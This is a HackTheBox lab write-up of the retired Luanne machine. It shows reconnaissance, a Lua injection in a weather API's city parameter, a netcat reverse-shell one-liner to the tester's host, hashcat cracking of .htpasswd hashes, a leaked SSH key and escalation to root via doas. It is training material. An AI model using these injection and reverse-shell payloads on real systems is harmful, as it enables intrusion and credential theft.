Writeup: HackTheBox Luanne Machine

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Luanne, is retired.

Machine Info

1. TLDR

Luanne graph

2. Preparation

I have prepared some useful variables:

export IP=10.10.10.218

3. Scanning and Reconnaissance

First, I ran an aggressive scan with nmap to reveal and identify services that were running on the 1000 most popular ports.

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nmap -sC -sV -Pn -n -oN nmap/01-initial.txt -T4 $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-20 23:44 CET
Nmap scan report for 10.10.10.218
Host is up (0.040s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey: 
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry 
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 199.99 seconds

Access to both services was protected according to The 'Basic' HTTP Authentication Scheme RFC7617. The /weather resource was nevertheless available on port 80. I therefore launched the gobuster tool:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $gobuster dir -u  http://$IP/weather -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.218/weather
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/21 00:11:13 Starting gobuster
===============================================================
/forecast (Status: 200)
===============================================================
2020/12/21 00:27:04 Finished
===============================================================

I therefore sent a query to \weather\forecast:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}

and then, according to the response I received, I sent a request for a list of localities:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=list
{"code": 200,"cities": ["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}

Finally, I sent a request for weather information about London:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London
{"code": 200,"city": "London","list": [{"date": "2020-12-20","weather": {"description": "snowy","temperature": {"min": "12","max": "46"},"pressure": "1799","humidity": "92","wind": {"speed": "2.1975513692014","degree": "102.76822959445"}}},{"date": "2020-12-21","weather": {"description": "partially cloudy","temperature": {"min": "15","max": "43"},"pressure": "1365","humidity": "51","wind": {"speed": "4.9522297247313","degree": "262.63571172766"}}},{"date": "2020-12-22","weather": {"description": "sunny","temperature": {"min": "19","max": "30"},"pressure": "1243","humidity": "13","wind": {"speed": "1.8041767538525","degree": "48.400944394059"}}},{"date": "2020-12-23","weather": {"description": "sunny","temperature": {"min": "30","max": "34"},"pressure": "1513","humidity": "84","wind": {"speed": "2.6126398323104","degree": "191.63755226741"}}},{"date": "2020-12-24","weather": {"description": "partially cloudy","temperature": {"min": "30","max": "36"},"pressure": "1772","humidity": "53","wind": {"speed": "2.7699138359167","degree": "104.89152945159"}}}]}

4. Gaining Access

I didn’t know if I could control another parameter besides the city parameter. So I decided to wfuzz this parameter in hopes of any diagnostic information in case of an error:

One of the first attempts using wfuzz….

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $wfuzz -z range,0-255 http://10.10.10.218/weather/forecast?city=London%FUZZ

…zwróciła wiele rezultatów, które minimalnie różniły się liczbą słów.

I decided to analyze this case further. The largest number of responses came with a length of 12 and 5 words:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%0
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%10
{"code": 500,"error": "unknown city: London"}

I therefore filtered them out of the results:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $wfuzz -z range,0-255 --hw 5,12 http://10.10.10.218/weather/forecast?city=London%FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.218/weather/forecast?city=London%FUZZ
Total requests: 256

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000028:   500        1 L      9 W        77 Ch       "27"
000000021:   500        0 L      6 W        46 Ch       "20"
000000201:   500        0 L      6 W        47 Ch       "200"
000000203:   500        0 L      6 W        47 Ch       "202"
000000202:   500        0 L      6 W        47 Ch       "201"
000000204:   500        0 L      6 W        47 Ch       "203"
000000206:   500        0 L      6 W        47 Ch       "205"
000000210:   500        0 L      6 W        47 Ch       "209"
000000208:   500        0 L      6 W        47 Ch       "207"
000000209:   500        0 L      6 W        47 Ch       "208"
000000205:   500        0 L      6 W        47 Ch       "204"
000000207:   500        0 L      6 W        47 Ch       "206"

Total time: 0
Processed Requests: 256
Filtered Requests: 244
Requests/sec.: 0

The result with 6 words is:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%20
{"code": 500,"error": "unknown city: London "}

In contrast, the sought-after answer was provided by the demand:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value

Next, using the URLEncode functionality in CyberChef I encoded a fragment of the city parameter value:

London')os.execute("id")--

And I sent the request:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22id%22%29%2D%2D
{"code": 500,"error": "unknown city: Londonuid=24(_httpd) gid=24(_httpd) groups=24(_httpd)

So I received proof of the possibility of remote code execution.

I immediately sent a request to execute the uname -a command to identify the operating system:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22uname%20%2Da%22%29%2D%2D
{"code": 500,"error": "unknown city: LondonNetBSD luanne.htb 9.0 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/amd64/compile/GENERIC amd64

From the responses, it was known that:

I therefore added an entry to /etc/hosts:

10.10.10.218    luanne.htb

In order to establish a session with the system shell, I ran nc:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

And I coded the value of the city parameter:

London')os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.187 4444 >/tmp/f")--

And I sent the request:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2E187%204444%20%3E%2Ftmp%2Ff%22%29%2D%2D

As a result of the described actions, I established a session as user _httpd.

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.187] from (UNKNOWN) [10.10.10.218] 65164
sh: can't access tty; job control turned off
$ id
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)

5. Privilege Escalation: _httpd ⇨ r.michaels

In order to make the linpeas tool available, I started an http server:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

I then downloaded and launched the mentioned tool:

$ cd /tmp
$ curl http://10.10.14.187:8000/linpeas.sh>linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  220k  100  220k    0     0   550k      0 --:--:-- --:--:-- --:--:--  550k
$ /bin/sh linpeas.sh

In the standard output, I observed an interesting entry containing an MD5 digest:

Reading /var/www/.htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

I proceeded to try to recover the password:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $echo '$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0'>md5_hash
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $hashcat -a 0 -m 500 md5_hash /usr/share/wordlists/rockyou.txt --optimized-kernel-enable

After a dozen or so, the password was cracked:

$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0:iamthebest

So I had a set of credentials webapi_user:iamthebest.

I tried to authenticate to the http services on port 80 and 9001. On port 80 I was able to access the content of the page:

Luanne authenticated 80

I’ll admit that at this point I was stuck for a while. I didn’t know if there was any other service? Did linpeas on NetBSD miss something important? What had I missed?

Looking through the NetBSD User’s Guide I found, among other things, that the basic system configuration is stored in the /etc/rc.conf file:

$ cat /etc/rc.conf

#	$NetBSD: rc.conf,v 1.97 2014/07/14 12:29:48 mbalmer Exp $
# ...
if [ -r /etc/defaults/rc.conf ]; then
	. /etc/defaults/rc.conf
fi

# If this is not set to YES, the system will drop into single-user mode.
#
rc_configured=YES

# Add local overrides below.
#
hostname=luanne.htb

dhcpcd=NO
#dhcpcd_flags="-qM wm0"

resolvconf=NO
postfix=NO
inetd=NO

sshd=YES
wscons=YES

supervisord=YES
nginx=YES

httpd=YES
httpd_flags="-u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua"

httpd_devel=YES
httpd_devel_wwwuser="r.michaels"
httpd_devel_wwwdir="/home/r.michaels/devel/www"
httpd_devel_flags="-u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua"
#httpd_devel_flags="-u -X -s -I 3000 -L weather /home/r.michaels/devel/webapi/weather.lua"

vmtools=YES

So there was a production and a developer instance of an http server providing weather information. The first one ran locally on port 3001, and the second - the development one - on port 3001. It was also clear from the configuration that the development server was running with the user rights of r.michaels.

So I tried using the same error again:

$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/weather/forecast?city=London%27%29os%2Eexecute%28%22id%22%29%2D%2D   
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    65    0    65    0     0  32500      0 --:--:-- --:--:-- --:--:-- 32500
{"code": 500,"error": "unknown city: London')os.execute("id")--"}

Unfortunately, in this case there was no error present in the production version.

So I decided to check the availability of the http server user directory:

$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   601    0   601    0     0   293k      0 --:--:-- --:--:-- --:--:--  293k
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
	border-top: 1px solid black;
	border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>

An id_rsa file was available….

$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2610  100  2610    0     0  1274k      0 --:--:-- --:--:-- --:--:-- 1274k
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB
...
45bBkP5xOhrjMAAAAVci5taWNoYWVsc0BsdWFubmUuaHRiAQIDBAUG
-----END OPENSSH PRIVATE KEY-----

… Which contained the SSH private key. I saved the contents to a file and connected after ssh:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $chmod 400 r.michaels_id_rsa 
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $ssh r.michaels@luanne.htb -i ./r.michaels_id_rsa 
Last login: Mon Dec 21 23:59:47 2020 from 10.10.14.58
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020

Welcome to NetBSD!

luanne$ id
uid=1000(r.michaels) gid=100(users) groups=100(users)
luanne$

It remained to read the user flag:

luanne$ ls -lah
total 7.6K
dr-xr-x---  7 r.michaels  users  512B Sep 16 18:20 .
drwxr-xr-x  3 root        wheel  512B Sep 14 06:46 ..
-rw-r--r--  1 r.michaels  users  1.7K Feb 14  2020 .cshrc
drwx------  2 r.michaels  users  512B Sep 14 17:16 .gnupg
-rw-r--r--  1 r.michaels  users  431B Feb 14  2020 .login
-rw-r--r--  1 r.michaels  users  265B Feb 14  2020 .logout
-rw-r--r--  1 r.michaels  users  1.5K Feb 14  2020 .profile
-rw-r--r--  1 r.michaels  users  166B Feb 14  2020 .shrc
dr-x------  2 r.michaels  users  512B Sep 16 16:51 .ssh
dr-xr-xr-x  2 r.michaels  users  512B Nov 24 09:26 backups
dr-xr-x---  4 r.michaels  users  512B Sep 16 15:02 devel
dr-x------  2 r.michaels  users  512B Sep 16 16:52 public_html
-r--------  1 r.michaels  users   33B Sep 16 17:16 user.txt
luanne$ cat user.txt
ea5f0ce6a917b0be1eabc7f9218febc0

6. Privilege Escalation: r.michaels ⇨ root

In the directory ~/backups there was an encrypted file devel_backup-2020-09-16.tar.gz.enc.

luanne$ pwd
/home/r.michaels/backups
luanne$ ls
devel_backup-2020-09-16.tar.gz.enc

In order to decrypt the file, I wanted to run the gpg2 program, but it was not available:

luanne$ gpg2
ksh: gpg2: not found

So I searched the file system for a similar program:

luanne$ ls -Ralh / 2>/dev/null | grep 'gpg\|pgp'

Among other things, I found information about the netpgp program in the search results:

-r-xr-xr-x   1 root  wheel    25K Feb 14  2020 netpgp

In the manual for NetBSD, you can read the page dedicated to netpgp:

    The netpgp command can digitally sign files and verify that the signa-
    tures attached to files were signed by a given user identifier.  netpgp
    can also encrypt files using the public or private keys of users and, in
    the same manner, decrypt files which were encrypted.

So I decrypted the file:

luanne$ netpgp --decrypt /home/r.michaels/backups/devel_backup-2020-09-16.tar.gz.enc --output ./devel_backup-2020-09-16.tar.gz 
signature  2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a 
uid              RSA 2048-bit key <r.michaels@localhost>

I then downloaded it from the station and unpacked it:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $scp -i ./r.michaels_id_rsa r.michaels@luanne.htb:/tmp/devel_backup-2020-09-16.tar.gz ./
devel_backup-2020-09-16.tar.gz                                                                                              100% 1639    39.4KB/s   00:00    
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $unar devel_backup-2020-09-16.tar.gz 
devel_backup-2020-09-16.tar.gz: Tar in Gzip
  devel-2020-09-16/  (dir)... OK.
  devel-2020-09-16/www/  (dir)... OK.
  devel-2020-09-16/webapi/  (dir)... OK.
  devel-2020-09-16/webapi/weather.lua  (7072 B)... OK.
  devel-2020-09-16/www/index.html  (378 B)... OK.
  devel-2020-09-16/www/.htpasswd  (47 B)... OK.
Successfully extracted to "devel-2020-09-16".

In the unpacked archive, I found the password md5 hash again:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne/devel-2020-09-16/www]
└──╼ $cat .htpasswd 
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

So I restarted the hashcat:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $echo '$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' >> md5_hash
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $hashcat -a 0 -m 500 md5_hash /usr/share/wordlists/rockyou.txt --optimized-kernel-enable

After a few seconds, the standard output showed the result:

$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.:littlebear

I tried logging in as root:

luanne$ doas -u root /bin/ksh
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)

It remained to read the flag:

# cat /root/root.txt
7a9b5c206e8e8ba09bb99bd113675f66

7. Summary

The following circumstances led to the acquisition of the flags: